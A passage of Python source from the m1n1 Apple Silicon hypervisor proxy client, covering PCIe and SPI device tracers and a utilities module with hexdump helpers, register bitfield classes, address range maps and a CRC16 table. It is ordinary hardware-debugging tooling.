(dev << 15) | (fn << 12) self.apcie = hv.adt[apcie] self.bars = [0] * 6 self.bar_ranges = [None] * 6 self.cfg_space = self.CFGMAP(hv.u, self.apcie.get_reg(0)[0] + self.ecam_off) self.verbose = 3 def init_state(self): self.state.bars = [R_BAR(0) for i in range(6)] self.state.barsize = [None] * 6 @classmethod def _reloadcls(cls, force=False): cls.BARMAPS = [i._reloadcls(force) if i else None for i in cls.BARMAPS] return super()._reloadcls(force) def r_cfg_BAR(self, val, index): if self.state.bars[index].BASE == 0xfffffff: size = (0x10000000 - val.BASE) << 4 self.log(f"BAR{index} size = {size:#x}") self.state.barsize[index] = size def w_cfg_BAR(self, val, index): self.state.bars[index] = val self.update_tracers(val, index) def update_tracers(self, val = None, index = None): self.hv.clear_tracers(self.ident) ecam = self.apcie.get_reg(0)[0] self.trace_regmap(ecam + self.ecam_off, 0x1000, self.CFGMAP, name="cfg", prefix="cfg", mode=TraceMode.WSYNC) i = 0 while i < 6: idx = i if i == index: bar = val else: bar = self.cfg_space.BAR[i].reg addr = bar.BASE << 4 if bar.ADDR64 and i != 5: if i + 1 == index: barh = val else: barh = self.cfg_space.BAR[i + 1].reg addr |= barh.value << 32 i += 2 else: i += 1 if addr in (0, 0xfffffff0, 0xffffffff00000000, 0xfffffffffffffff0): continue size = self.state.barsize[idx] if not size: self.log(f"BAR{idx} size is unknown!") continue # Add in PCIe DT addr flags to get the correct translation start = self.apcie.translate(addr | (0x02 << 88)) self.log(f"Tracing BAR{idx} : {addr:#x} -> {start:#x}..{start+size-1:#x}") self.bar_ranges[idx] = irange(start, size) self.trace_bar(idx, start, size) def trace_bar(self, idx, start, size): if idx >= len(self.BARMAPS) or (regmap := self.BARMAPS[idx]) is None: return prefix = name = None if idx < len(self.NAMES): name = self.NAMES[i] if idx < len(self.PREFIXES): prefix = self.PREFIXES[i] self.trace_regmap(start, size, regmap, name=name, prefix=prefix) def start(self): self.update_tracers() m1n1-1.4.11/proxyclient/m1n1/trace/spi.py000066400000000000000000000003171453754430200177610ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from ..hw.spi import * from ..hv import TraceMode from ..utils import * from . import ADTDevTracer class SPITracer(ADTDevTracer): REGMAPS = [SPIRegs] NAMES = ["spi"] m1n1-1.4.11/proxyclient/m1n1/utils.py000066400000000000000000001106421453754430200172330ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from enum import Enum import threading, traceback, bisect, copy, heapq, importlib, sys, itertools, time, os, functools, struct, re, signal from construct import Adapter, Int64ul, Int32ul, Int16ul, Int8ul, ExprAdapter, GreedyRange, ListContainer, StopFieldError, ExplicitError, StreamError __all__ = ["FourCC"] def align_up(v, a=16384): return (v + a - 1) & ~(a - 1) align = align_up def align_down(v, a=16384): return v & ~(a - 1) def align_pot(v): out = 1 while out < v: out *= 2 return out def hexdump(s, sep=" "): return sep.join(["%02x"%x for x in s]) def hexdump32(s, sep=" "): vals = struct.unpack("<%dI" % (len(s)//4), s) return sep.join(["%08x"%x for x in vals]) def _ascii(s): s2 = "" for c in s: if c < 0x20 or c > 0x7e: s2 += "." else: s2 += chr(c) return s2 def chexdump(s, st=0, abbreviate=True, stride=16, indent="", print_fn=print): last = None skip = False for i in range(0,len(s),stride): val = s[i:i+stride] if val == last and abbreviate: if not skip: print_fn(indent+"%08x *" % (i + st)) skip = True else: print_fn(indent+"%08x %s |%s|" % ( i + st, " ".join(hexdump(val[i:i+8], ' ').ljust(23) for i in range(0, stride, 8)), _ascii(val).ljust(stride))) last = val skip = False def chexdiff32(prev, cur, ascii=True, offset=0, offset2=None): assert len(cur) % 4 == 0 count = len(cur) // 4 words = struct.unpack("<%dI" % count, cur) if prev is None: last = None else: assert len(prev) == len(cur) last = struct.unpack("<%dI" % count, prev) row = 8 skipping = False out = [] for i in range(0, count, row): off_text = f"{offset + i * 4:016x}" if offset2 is not None: off_text += f"/{offset2 + i * 4:08x}" if not last: if i != 0 and words[i:i+row] == words[i-row:i]: if not skipping: out.append(f"{off_text} *\n") skipping = True else: out.append(f"{off_text} ") for new in words[i:i+row]: out.append("%08x " % new) if ascii: out.append("| " + _ascii(cur[4*i:4*(i+row)])) out.append("\n") skipping = False elif last[i:i+row] != words[i:i+row]: out.append(f"{off_text} ") for old, new in zip(last[i:i+row], words[i:i+row]): so = "%08x" % old sn = s = "%08x" % new if old != new: s = "\x1b[32m" ld = False for a,b in zip(so, sn): d = a != b if ld != d: s += "\x1b[31;1;4m" if d else "\x1b[32m" ld = d s += b s += "\x1b[m" out.append(s + " ") if ascii: out.append("| " + _ascii(cur[4*i:4*(i+row)])) out.append("\n") return "".join(out) def chexundump(dump, base=0): if type(dump) is bytes: dump = dump.decode("ascii") elif type(dump) is str: pass else: dump = dump.read() decoded = bytearray() for line in dump.splitlines(): if not line: continue try: cropped = line.split("|", 2)[0] mark, data = cropped.split(" ", 1) if data.strip() == "*": continue offset = int(mark, 16) data = data.replace(" ", "") if len(data) % 2 != 0: raise ValueError("odd sized data") if offset > len(decoded): decoded.extend([0] * (offset - len(decoded) - base)) decoded.extend([int(data[i:i+2], 16) for i \ in range(0, len(data), 2)]) except (ValueError, TypeError) as exc: raise ValueError(f"can't decode line: {line:r}") from exc return decoded _extascii_table_low = [ "â–ª", "☺", "☻", "♥", "♦", "♣", "â™ ", "•", "â—˜", "â—‹", "â—™", "♂", "♀", "♪", "♫", "☼", "â–º", "â—„", "↕", "‼", "¶", "§", "â–¬", "↨", "↑", "↓", "→", "â†", "∟", "↔", "â–²", "â–¼"] _extascii_table_high = [ "⌂", "â–ˆ", "â¡€", "⢀", "⣀", "â  ", "â¡ ", "⢠", "⣠", "â „", "â¡„", "⢄", "⣄", "â ¤", "⡤", "⢤", "⣤", "â ", "â¡", "â¢", "â£", "â ¡", "â¡¡", "⢡", "⣡", "â …", "â¡…", "⢅", "⣅", "â ¥", "â¡¥", "⢥", "⣥", "â ƒ", "⡃", "⢃", "⣃", "â £", "â¡£", "⢣", "⣣", "â ‡", "⡇", "⢇", "⣇", "â §", "â¡§", "⢧", "⣧", "â ‰", "⡉", "⢉", "⣉", "â ©", "â¡©", "⢩", "⣩", "â ", "â¡", "â¢", "â£", "â ­", "â¡­", "⢭", "⣭", "â Š", "⡊", "⢊", "⣊", "â ª", "⡪", "⢪", "⣪", "â Ž", "⡎", "⢎", "⣎", "â ®", "â¡®", "⢮", "⣮", "â ‘", "â¡‘", "⢑", "⣑", "â ±", "⡱", "⢱", "⣱", "â •", "â¡•", "⢕", "⣕", "â µ", "⡵", "⢵", "⣵", "â š", "⡚", "⢚", "⣚", "â º", "⡺", "⢺", "⣺", "â ž", "⡞", "⢞", "⣞", "â ¾", "⡾", "⢾", "⣾", "â ›", "â¡›", "⢛", "⣛", "â »", "â¡»", "⢻", "⣻", "â Ÿ", "⡟", "⢟", "⣟", "â ¿", "â¡¿", "⢿", "⣿"] def _extascii(s): s2 = "" for c in s: if c < 0x20: s2 += _extascii_table_low[c] elif c > 0x7e: s2 += _extascii_table_high[c-0x7f] else: s2 += chr(c) return s2 def ehexdump(s, st=0, abbreviate=True, indent="", print_fn=print): last = None skip = False for i in range(0,len(s),16): val = s[i:i+16] if val == last and abbreviate: if not skip: print_fn(indent+"%08x *" % (i + st)) skip = True else: print_fn(indent+"%08x %s %s |%s|" % ( i + st, hexdump(val[:8], ' ').ljust(23), hexdump(val[8:], ' ').ljust(23), _extascii(val).ljust(16))) last = val skip = False def chexdump32(s, st=0, abbreviate=True, print_fn=print): last = None skip = False for i in range(0,len(s),32): val = s[i:i+32] if val == last and abbreviate: if not skip: print_fn("%08x *" % (i + st)) skip = True else: print_fn("%08x %s" % ( i + st, hexdump32(val, ' '))) last = val skip = False def unhex(s): s = re.sub(r"/\*.*?\*/", "", s) return bytes.fromhex(s.replace(" ", "").replace("\n", "")) def dumpstacks(signal, frame): id2name = dict([(th.ident, th.name) for th in threading.enumerate()]) code = [] for threadId, stack in sys._current_frames().items(): code.append("\n# Thread: %s(%d)" % (id2name.get(threadId,""), threadId)) for filename, lineno, name, line in traceback.extract_stack(stack): code.append('File: "%s", line %d, in %s' % (filename, lineno, name)) if line: code.append(" %s" % (line.strip())) print("\n".join(code)) sys.exit(1) def set_sigquit_stackdump_handler(): signal.signal(signal.SIGQUIT, dumpstacks) def parse_indexlist(s): items = set() for i in s.split(","): if "-" in i: a, b = map(int, i.split("-", 1)) for i in range(a, b + 1): items.add(i) else: items.add(int(i)) return items FourCC = ExprAdapter(Int32ul, lambda d, ctx: d.to_bytes(4, "big").decode("latin-1"), lambda d, ctx: int.from_bytes(d.encode("latin-1"), "big")) class SafeGreedyRange(GreedyRange): def __init__(self, subcon, discard=False): super().__init__(subcon) self.discard = discard def _parse(self, stream, context, path): discard = self.discard obj = ListContainer() try: for i in itertools.count(): context._index = i e = self.subcon._parsereport(stream, context, path) if not discard: obj.append(e) except StreamError: pass return obj class ReloadableMeta(type): def __new__(cls, name, bases, dct): m = super().__new__(cls, name, bases, dct) m._load_time = time.time() return m class Reloadable(metaclass=ReloadableMeta): @classmethod def _reloadcls(cls, force=False): mods = [] for c in cls.mro(): mod = sys.modules[c.__module__] cur_cls = getattr(mod, c.__name__) mods.append((cur_cls, mod)) if c.__name__ == "Reloadable": break reloaded = set() newest = 0 for pcls, mod in mods[::-1]: source = getattr(mod, "__file__", None) if not source: continue newest = max(newest, os.stat(source).st_mtime, pcls._load_time) if (force or reloaded or pcls._load_time < newest) and mod.__name__ not in reloaded: print(f"Reload: {mod.__name__}") mod = importlib.reload(mod) reloaded.add(mod.__name__) return getattr(mods[0][1], cls.__name__) def _reloadme(self): self.__class__ = self._reloadcls() class Constant: def __init__(self, value): self.value = value def __call__(self, v): assert v == self.value return v class RegisterMeta(ReloadableMeta): def __new__(cls, name, bases, dct): m = super().__new__(cls, name, bases, dct) f = {} if bases and bases[0] is not Reloadable: for cls in bases[0].mro(): if cls is Reloadable: break f.update({k: None for k,v in cls.__dict__.items() if not k.startswith("_") and isinstance(v, (int, tuple))}) f.update({k: None for k, v in dct.items() if not k.startswith("_") and isinstance(v, (int, tuple))}) m._fields_list = list(f.keys()) m._fields = set(f.keys()) return m class Register(Reloadable, metaclass=RegisterMeta): _Constant = Constant def __init__(self, v=None, **kwargs): if v is not None: self._value = v for k in self._fields_list: getattr(self, k) # validate else: self._value = 0 for k in self._fields_list: field = getattr(self.__class__, k) if isinstance(field, tuple) and len(field) >= 3 and isinstance(field[2], self._Constant): setattr(self, k, field[2].value) for k,v in kwargs.items(): setattr(self, k, v) def __getattribute__(self, attr): if attr.startswith("_") or attr not in self._fields: return object.__getattribute__(self, attr) field = getattr(self.__class__, attr) value = self._value if isinstance(field, int): return (value >> field) & 1 elif isinstance(field, tuple): if len(field) == 2: msb, lsb = field ftype = int else: msb, lsb, ftype = field return ftype((value >> lsb) & ((1 << ((msb + 1) - lsb)) - 1)) else: raise AttributeError(f"Invalid field definition {attr} = {field!r}") def __setattr__(self, attr, fvalue): if attr.startswith("_"): self.__dict__[attr] = fvalue return field = getattr(self.__class__, attr) value = self._value if isinstance(field, int): self._value = (value & ~(1 << field)) | ((fvalue & 1) << field) elif isinstance(field, tuple): if len(field) == 2: msb, lsb = field else: msb, lsb, ftype = field mask = ((1 << ((msb + 1) - lsb)) - 1) self._value = (value & ~(mask << lsb)) | ((fvalue & mask) << lsb) else: raise AttributeError(f"Invalid field definition {attr} = {field!r}") def __int__(self): return self._value def _field_val(self, field_name, as_repr=False): field = getattr(self.__class__, field_name) val = getattr(self, field_name) if isinstance(val, Enum): if as_repr: return str(val) else: msb, lsb = field[:2] if (msb - lsb + 1) > 3: return f"0x{val.value:x}({val.name})" else: return f"{val.value}({val.name})" elif not isinstance(val, int): return val elif isinstance(field, int): return val elif isinstance(field, tuple): msb, lsb = field[:2] if (msb - lsb + 1) > 3: return f"0x{val:x}" return val @property def fields(self): return {k: getattr(self, k) for k in self._fields_list} def str_fields(self): return ', '.join(f'{k}={self._field_val(k)}' for k in self._fields_list) def __str__(self): return f"0x{self._value:x} ({self.str_fields()})" def __repr__(self): return f"{type(self).__name__}({', '.join(f'{k}={self._field_val(k, True)}' for k in self._fields_list)})" def copy(self): return type(self)(self._value) @property def value(self): return self._value @value.setter def value(self, val): self._value = val class Register8(Register): __WIDTH__ = 8 class Register16(Register): __WIDTH__ = 16 class Register32(Register): __WIDTH__ = 32 class Register64(Register): __WIDTH__ = 64 class RegAdapter(Adapter): def __init__(self, register): if register.__WIDTH__ == 64: subcon = Int64ul elif register.__WIDTH__ == 32: subcon = Int32ul elif register.__WIDTH__ == 16: subcon = Int16ul elif register.__WIDTH__ == 8: subcon = Int8ul else: raise ValueError("Invalid reg width") self.reg = register super().__init__(subcon) def _decode(self, obj, context, path): return self.reg(obj) def _encode(self, obj, context, path): return obj.value class RangeMap(Reloadable): def __init__(self): self.__start = [] self.__end = [] self.__value = [] def clone(self): r = type(self)() r.__start = list(self.__start) r.__end = list(self.__end) r.__value = [copy.copy(i) for i in self.__value] return r def __len__(self): return len(self.__start) def __nonzero__(self): return bool(self.__start) def __contains(self, pos, addr): if pos < 0 or pos >= len(self.__start): return False return self.__start[pos] <= addr and addr <= self.__end[pos] def __split(self, pos, addr): self.__start.insert(pos + 1, addr) self.__end.insert(pos, addr - 1) self.__value.insert(pos + 1, copy.copy(self.__value[pos])) def __zone(self, zone): if isinstance(zone, slice): zone = range(zone.start if zone.start is not None else 0, zone.stop if zone.stop is not None else 1 << 64) elif isinstance(zone, int): zone = range(zone, zone + 1) return zone def lookup(self, addr, default=None): addr = int(addr) pos = bisect.bisect_left(self.__end, addr) if self.__contains(pos, addr): return self.__value[pos] else: return default def __iter__(self): return self.ranges() def ranges(self): return (range(s, e + 1) for s, e in zip(self.__start, self.__end)) def items(self): return ((range(s, e + 1), v) for s, e, v in zip(self.__start, self.__end, self.__value)) def _overlap_range(self, zone, split=False): zone = self.__zone(zone) if not zone: return 0, 0 start = bisect.bisect_left(self.__end, zone.start) if split: # Handle left-side overlap if self.__contains(start, zone.start) and self.__start[start] != zone.start: self.__split(start, zone.start) start += 1 assert self.__start[start] == zone.start for pos in range(start, len(self.__start)): if self.__start[pos] >= zone.stop: return start, pos if split and (self.__end[pos] + 1) > zone.stop: self.__split(pos, zone.stop) return start, pos + 1 return start, len(self.__start) def populate(self, zone, default=[]): zone = self.__zone(zone) if len(zone) == 0: return start, stop = zone.start, zone.stop # Starting insertion point, overlap inclusive pos = bisect.bisect_left(self.__end, zone.start) # Handle left-side overlap if self.__contains(pos, zone.start) and self.__start[pos] != zone.start: self.__split(pos, zone.start) pos += 1 assert self.__start[pos] == zone.start # Iterate through overlapping ranges while start < stop: if pos == len(self.__start): # Append to end val = copy.copy(default) self.__start.append(start) self.__end.append(stop - 1) self.__value.append(val) yield range(start, stop), val break assert self.__start[pos] >= start if self.__start[pos] > start: # Insert new range boundary = stop if pos < len(self.__start): boundary = min(stop, self.__start[pos]) val = copy.copy(default) self.__start.insert(pos, start) self.__end.insert(pos, boundary - 1) self.__value.insert(pos, val) yield range(start, boundary), val start = boundary else: # Handle right-side overlap if self.__end[pos] > stop - 1: self.__split(pos, stop) # Add to existing range yield range(self.__start[pos], self.__end[pos] + 1), self.__value[pos] start = self.__end[pos] + 1 pos += 1 else: assert start == stop def overlaps(self, zone, split=False): start, stop = self._overlap_range(zone, split) for pos in range(start, stop): yield range(self.__start[pos], self.__end[pos] + 1), self.__value[pos] def replace(self, zone, val): zone = self.__zone(zone) if zone.start == zone.stop: return start, stop = self._overlap_range(zone, True) self.__start = self.__start[:start] + [zone.start] + self.__start[stop:] self.__end = self.__end[:start] + [zone.stop - 1] + self.__end[stop:] self.__value = self.__value[:start] + [val] + self.__value[stop:] def clear(self, zone=None): if zone is None: self.__start = [] self.__end = [] self.__value = [] else: zone = self.__zone(zone) if zone.start == zone.stop: return start, stop = self._overlap_range(zone, True) self.__start = self.__start[:start] + self.__start[stop:] self.__end = self.__end[:start] + self.__end[stop:] self.__value = self.__value[:start] + self.__value[stop:] def compact(self, equal=lambda a, b: a == b, empty=lambda a: not a): if len(self) == 0: return new_s, new_e, new_v = [], [], [] for pos in range(len(self)): s, e, v = self.__start[pos], self.__end[pos], self.__value[pos] if empty(v): continue if new_v and equal(last, v) and s == new_e[-1] + 1: new_e[-1] = e else: new_s.append(s) new_e.append(e) new_v.append(v) last = v self.__start, self.__end, self.__value = new_s, new_e, new_v def _assert(self, expect, val=lambda a:a): state = [] for i, j, v in zip(self.__start, self.__end, self.__value): state.append((i, j, val(v))) if state != expect: print(f"Expected: {expect}") print(f"Got: {state}") class AddrLookup(RangeMap): def __str__(self): b = [""] for zone, values in self.items(): b.append(f"{zone.start:#11x} - {zone.stop - 1:#11x}") if len(values) == 0: b.append(f" (empty range)") elif len(values) == 1: b.append(f" : {values[0][0]}\n") if len(values) > 1: b.append(f" ({len(values):d} devices)\n") for value, r in sorted(values, key=lambda r: r[1].start): b.append(f" {r.start:#10x} - {r.stop - 1:#8x} : {value}\n") return "".join(b) def add(self, zone, value): for r, values in self.populate(zone): values.append((value, zone)) def remove(self, zone, value): for r, values in self.overlaps(zone): try: values.remove((value, zone)) except: pass def lookup(self, addr, default='unknown'): maps = super().lookup(addr) return maps[0] if maps else (default, range(0, 1 << 64)) def lookup_all(self, addr): return super().lookup(addr, []) def _assert(self, expect, val=lambda a:a): super()._assert(expect, lambda v: [i[0] for i in v]) class ScalarRangeMap(RangeMap): def get(self, addr, default=None): return self.lookup(addr, default) def __setitem__(self, zone, value): self.replace(zone, value) def __delitem__(self, zone): self.clear(zone) def __getitem__(self, addr): value = self.lookup(addr, default=KeyError) if value is KeyError: raise KeyError(f"Address {addr:#x} has no value") return value class BoolRangeMap(RangeMap): def set(self, zone): self.replace(zone, True) def __delitem__(self, zone): self.clear(zone) def __getitem__(self, addr): return self.lookup(addr, False) class DictRangeMap(RangeMap): def __setitem__(self, k, value): if not isinstance(k, tuple): self.replace(k, dict(value)) else: zone, key = k for r, values in self.populate(zone, {}): values[key] = value def __delitem__(self, k): if not isinstance(k, tuple): self.clear(k) else: zone, key = k for r, values in self.overlaps(zone, True): values.pop(key, None) def __getitem__(self, k): if isinstance(k, tuple): addr, k = k values = self.lookup(addr) return values.get(k, None) if values else None else: values = self.lookup(k) return values or {} class SetRangeMap(RangeMap): def add(self, zone, key): for r, values in self.populate(zone, set()): values.add(key) def discard(self, zone, key): for r, values in self.overlaps(zone, split=True): if values: values.discard(key) remove = discard def __setitem__(self, k, value): self.replace(k, set(value)) def __delitem__(self, k): self.clear(k) def __getitem__(self, addr): values = super().lookup(addr) return frozenset(values) if values else frozenset() class NdRange: def __init__(self, rng, min_step=1): if isinstance(rng, range): self.ranges = [rng] else: self.ranges = list(rng) least_step = self.ranges[0].step for i, rng in enumerate(self.ranges): if rng.step == 1: self.ranges[i] = range(rng.start, rng.stop, min_step) least_step = min_step else: assert rng.step >= min_step least_step = min(least_step, rng.step) self.start = sum(rng[0] for rng in self.ranges) self.stop = sum(rng[-1] for rng in self.ranges) + least_step self.rev = {} for i in itertools.product(*map(enumerate, self.ranges)): index = tuple(j[0] for j in i) addr = sum(j[1] for j in i) if len(self.ranges) == 1: index = index[0] self.rev[addr] = index def index(self, item): return self.rev[item] def __len__(self): return self.stop - self.start def __contains__(self, item): return item in self.rev def __getitem__(self, item): if not isinstance(item, tuple): assert len(self.ranges) == 1 return self.ranges[0][item] assert len(self.ranges) == len(item) if all(isinstance(i, int) for i in item): return sum((i[j] for i, j in zip(self.ranges, item))) else: iters = (i[j] for i, j in zip(self.ranges, item)) return map(sum, itertools.product(*(([i] if isinstance(i, int) else i) for i in iters))) class RegMapMeta(ReloadableMeta): def __new__(cls, name, bases, dct): m = super().__new__(cls, name, bases, dct) if getattr(m, "_addrmap", None) is None: m._addrmap = {} m._rngmap = SetRangeMap() m._namemap = {} else: m._addrmap = dict(m._addrmap) m._rngmap = m._rngmap.clone() m._namemap = dict(m._namemap) for k, v in dct.items(): if k.startswith("_") or not isinstance(v, tuple): continue addr, rtype = v if isinstance(addr, int): m._addrmap[addr] = k, rtype else: addr = NdRange(addr, rtype.__WIDTH__ // 8) m._rngmap.add(addr, (addr, k, rtype)) m._namemap[k] = addr, rtype def prop(k): def getter(self): return self._accessor[k] def setter(self, val): self._accessor[k].val = val return property(getter, setter) setattr(m, k, prop(k)) return m class RegAccessor(Reloadable): def __init__(self, cls, rd, wr, addr): self.cls = cls self.rd = rd self.wr = wr self.addr = addr def __int__(self): return self.rd(self.addr) @property def val(self): return self.rd(self.addr) @val.setter def val(self, value): self.wr(self.addr, int(value)) @property def reg(self): val = self.val if val is None: return None return self.cls(val) @reg.setter def reg(self, value): self.wr(self.addr, int(value)) def set(self, **kwargs): r = self.reg for k, v in kwargs.items(): setattr(r, k, v) self.wr(self.addr, int(r)) def __str__(self): return str(self.reg) class RegArrayAccessor(Reloadable): def __init__(self, range, cls, rd, wr, addr): self.range = range self.cls = cls self.rd = rd self.wr = wr self.addr = addr def __getitem__(self, item): off = self.range[item] if isinstance(off, int): return RegAccessor(self.cls, self.rd, self.wr, self.addr + off) else: return [RegAccessor(self.cls, self.rd, self.wr, self.addr + i) for i in off] class BaseRegMap(Reloadable): def __init__(self, backend, base): self._base = base self._backend = backend self._accessor = {} for name, (addr, rcls) in self._namemap.items(): width = rcls.__WIDTH__ rd = functools.partial(backend.read, width=width) wr = functools.partial(backend.write, width=width) if type(addr).__name__ == "NdRange": self._accessor[name] = RegArrayAccessor(addr, rcls, rd, wr, base) else: self._accessor[name] = RegAccessor(rcls, rd, wr, base + addr) def _lookup_offset(cls, offset): reg = cls._addrmap.get(offset, None) if reg is not None: name, rcls = reg return name, None, rcls ret = cls._rngmap[offset] if ret: for rng, name, rcls in ret: if offset in rng: return name, rng.index(offset), rcls return None, None, None lookup_offset = classmethod(_lookup_offset) def lookup_addr(self, addr): return self.lookup_offset(addr - self._base) def get_name(self, addr): name, index, rcls = self.lookup_addr(addr) if index is not None: return f"{name}[{index}]" else: return name def _lookup_name(cls, name): return cls._namemap.get(name, None) lookup_name = classmethod(_lookup_name) def _scalar_regs(self): for addr, (name, rtype) in self._addrmap.items(): yield addr, name, self._accessor[name], rtype def _array_reg(self, zone, map): addrs, name, rtype = map def index(addr): idx = addrs.index(addr) if isinstance(idx, tuple): idx = str(idx)[1:-1] return idx reg = ((addr, f"{name}[{index(addr)}]", self._accessor[name][addrs.index(addr)], rtype) for addr in zone if addr in addrs) return reg def _array_regs(self): for zone, maps in self._rngmap.items(): yield from heapq.merge(*(self._array_reg(zone, map) for map in maps)) def dump_regs(self): for addr, name, acc, rtype in heapq.merge(sorted(self._scalar_regs()), self._array_regs()): print(f"{self._base:#x}+{addr:06x} {name} = {acc.reg}") class RegMap(BaseRegMap, metaclass=RegMapMeta): pass def irange(start, count, step=1): return range(start, start + count * step, step) # Table generated by: # # tbl = [0] * 256 # crc = 1 # for i in [2**x for x in irange(7, 0, -1)]: # if crc & 1: # crc = (crc >> 1) ^ 0xA001 # else: # crc = crc >> 1 # for j in range(0, 255, 2*i): # tbl[i + j] = crc ^ tbl[j] # # for i in range(0, 255, 8): # print(f"{tbl[i]:#06x}, {tbl[i+1]:#06x}, {tbl[i+2]:#06x}, {tbl[i+3]:#06x}, {tbl[i+4]:#06x}, {tbl[i+5]:#06x}, {tbl[i+6]:#06x}, {tbl[i+7]:#06x}, ") _crc16_table = [ 0x0000, 0xc0c1, 0xc181, 0x0140, 0xc301, 0x03c0, 0x0280, 0xc241, 0xc601, 0x06c0, 0x0780, 0xc741, 0x0500, 0xc5c1, 0xc481, 0x0440, 0xcc01, 0x0cc0, 0x0d80, 0xcd41, 0x0f00, 0xcfc1, 0xce81, 0x0e40, 0x0a00, 0xcac1, 0xcb81, 0x0b40, 0xc901, 0x09c0, 0x0880, 0xc841, 0xd801, 0x18c0, 0x1980, 0xd941, 0x1b00, 0xdbc1, 0xda81, 0x1a40, 0x1e00, 0xdec1, 0xdf81, 0x1f40, 0xdd01, 0x1dc0, 0x1c80, 0xdc41, 0x1400, 0xd4c1, 0xd581, 0x1540, 0xd701, 0x17c0, 0x1680, 0xd641, 0xd201, 0x12c0, 0x1380, 0xd341, 0x1100, 0xd1c1, 0xd081, 0x1040, 0xf001, 0x30c0, 0x3180, 0xf141, 0x3300, 0xf3c1, 0xf281, 0x3240, 0x3600, 0xf6c1, 0xf781, 0x3740, 0xf501, 0x35c0, 0x3480, 0xf441, 0x3c00, 0xfcc1, 0xfd81, 0x3d40, 0xff01, 0x3fc0, 0x3e80, 0xfe41, 0xfa01, 0x3ac0, 0x3b80, 0xfb41, 0x3900, 0xf9c1, 0xf881, 0x3840, 0x2800, 0xe8c1, 0xe981, 0x2940, 0xeb01, 0x2bc0, 0x2a80, 0xea41, 0xee01, 0x2ec0, 0x2f80, 0xef41, 0x2d00, 0xedc1, 0xec81, 0x2c40, 0xe401, 0x24c0, 0x2580, 0xe541, 0x2700, 0xe7c1, 0xe681, 0x2640, 0x2200, 0xe2c1, 0xe381, 0x2340, 0xe101, 0x21c0, 0x2080, 0xe041, 0xa001, 0x60c0, 0x6180, 0xa141, 0x6300, 0xa3c1, 0xa281, 0x6240, 0x6600, 0xa6c1, 0xa781, 0x6740, 0xa501, 0x65c0, 0x6480, 0xa441, 0x6c00, 0xacc1, 0xad81, 0x6d40, 0xaf01, 0x6fc0, 0x6e80, 0xae41, 0xaa01, 0x6ac0, 0x6b80, 0xab41, 0x6900, 0xa9c1, 0xa881, 0x6840, 0x7800, 0xb8c1, 0xb981, 0x7940, 0xbb01, 0x7bc0, 0x7a80, 0xba41, 0xbe01, 0x7ec0, 0x7f80, 0xbf41, 0x7d00, 0xbdc1, 0xbc81, 0x7c40, 0xb401, 0x74c0, 0x7580, 0xb541, 0x7700, 0xb7c1, 0xb681, 0x7640, 0x7200, 0xb2c1, 0xb381, 0x7340, 0xb101, 0x71c0, 0x7080, 0xb041, 0x5000, 0x90c1, 0x9181, 0x5140, 0x9301, 0x53c0, 0x5280, 0x9241, 0x9601, 0x56c0, 0x5780, 0x9741, 0x5500, 0x95c1, 0x9481, 0x5440, 0x9c01, 0x5cc0, 0x5d80, 0x9d41, 0x5f00, 0x9fc1, 0x9e81, 0x5e40, 0x5a00, 0x9ac1, 0x9b81, 0x5b40, 0x9901, 0x59c0, 0x5880, 0x9841, 0x8801, 0x48c0, 0x4980, 0x8941, 0x4b00, 0x8bc1, 0x8a81, 0x4a40, 0x4e00, 0x8ec1, 0x8f81, 0x4f40, 0x8d01, 0x4dc0, 0x4c80, 0x8c41, 0x4400, 0x84c1, 0x8581, 0x4540, 0x8701, 0x47c0, 0x4680, 0x8641, 0x8201, 0x42c0, 0x4380, 0x8341, 0x4100, 0x81c1, 0x8081, 0x4040 ] def crc16USB(crc, data): for x in data: crc = (crc >> 8) ^ _crc16_table[(crc ^ x) & 0xff] return crc __all__.extend(k for k, v in globals().items() if (callable(v) or isinstance(v, type)) and v.__module__ == __name__) if __name__ == "__main__": # AddrLookup test a = AddrLookup() a.add(range(0, 10), 0) a._assert([ (0, 9, [0]) ]) a.add(range(10, 20), 1) a._assert([ (0, 9, [0]), (10, 19, [1]) ]) a.add(range(20, 25), 2) a._assert([ (0, 9, [0]), (10, 19, [1]), (20, 24, [2]) ]) a.add(range(30, 40), 3) a._assert([ (0, 9, [0]), (10, 19, [1]), (20, 24, [2]), (30, 39, [3]) ]) a.add(range(0, 15), 4) a._assert([ (0, 9, [0, 4]), (10, 14, [1, 4]), (15, 19, [1]), (20, 24, [2]), (30, 39, [3]) ]) a.add(range(0, 15), 5) a._assert([ (0, 9, [0, 4, 5]), (10, 14, [1, 4, 5]), (15, 19, [1]), (20, 24, [2]), (30, 39, [3]) ]) a.add(range(21, 44), 6) a._assert([ (0, 9, [0, 4, 5]), (10, 14, [1, 4, 5]), (15, 19, [1]), (20, 20, [2]), (21, 24, [2, 6]), (25, 29, [6]), (30, 39, [3, 6]), (40, 43, [6]) ]) a.add(range(70, 80), 7) a._assert([ (0, 9, [0, 4, 5]), (10, 14, [1, 4, 5]), (15, 19, [1]), (20, 20, [2]), (21, 24, [2, 6]), (25, 29, [6]), (30, 39, [3, 6]), (40, 43, [6]), (70, 79, [7]) ]) a.add(range(0, 100), 8) a._assert([ (0, 9, [0, 4, 5, 8]), (10, 14, [1, 4, 5, 8]), (15, 19, [1, 8]), (20, 20, [2, 8]), (21, 24, [2, 6, 8]), (25, 29, [6, 8]), (30, 39, [3, 6, 8]), (40, 43, [6, 8]), (44, 69, [8]), (70, 79, [7, 8]), (80, 99, [8]) ]) a.remove(range(21, 44), 6) a._assert([ (0, 9, [0, 4, 5, 8]), (10, 14, [1, 4, 5, 8]), (15, 19, [1, 8]), (20, 20, [2, 8]), (21, 24, [2, 8]), (25, 29, [8]), (30, 39, [3, 8]), (40, 43, [8]), (44, 69, [8]), (70, 79, [7, 8]), (80, 99, [8]) ]) a.compact() a._assert([ (0, 9, [0, 4, 5, 8]), (10, 14, [1, 4, 5, 8]), (15, 19, [1, 8]), (20, 24, [2, 8]), (25, 29, [8]), (30, 39, [3, 8]), (40, 69, [8]), (70, 79, [7, 8]), (80, 99, [8]) ]) a.remove(range(0, 100), 8) a._assert([ (0, 9, [0, 4, 5]), (10, 14, [1, 4, 5]), (15, 19, [1]), (20, 24, [2]), (25, 29, []), (30, 39, [3]), (40, 69, []), (70, 79, [7]), (80, 99, []) ]) a.compact() a._assert([ (0, 9, [0, 4, 5]), (10, 14, [1, 4, 5]), (15, 19, [1]), (20, 24, [2]), (30, 39, [3]), (70, 79, [7]) ]) a.clear(range(12, 21)) a._assert([ (0, 9, [0, 4, 5]), (10, 11, [1, 4, 5]), (21, 